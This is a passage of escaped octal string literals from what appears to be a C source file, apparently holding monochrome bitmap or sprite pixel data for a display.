\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\"\n  \"\\17\\37\\77\\177\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\"\n  \"\\360\\340\\300\\200\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\"\n  \"\\370\\374\\376\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\"\n  \"\\17\\37\\77\\177\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\"\n  \"\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\"\n  \"\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\"\n  \"\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\30<~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"~<\\30\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\374\\370\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\3\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  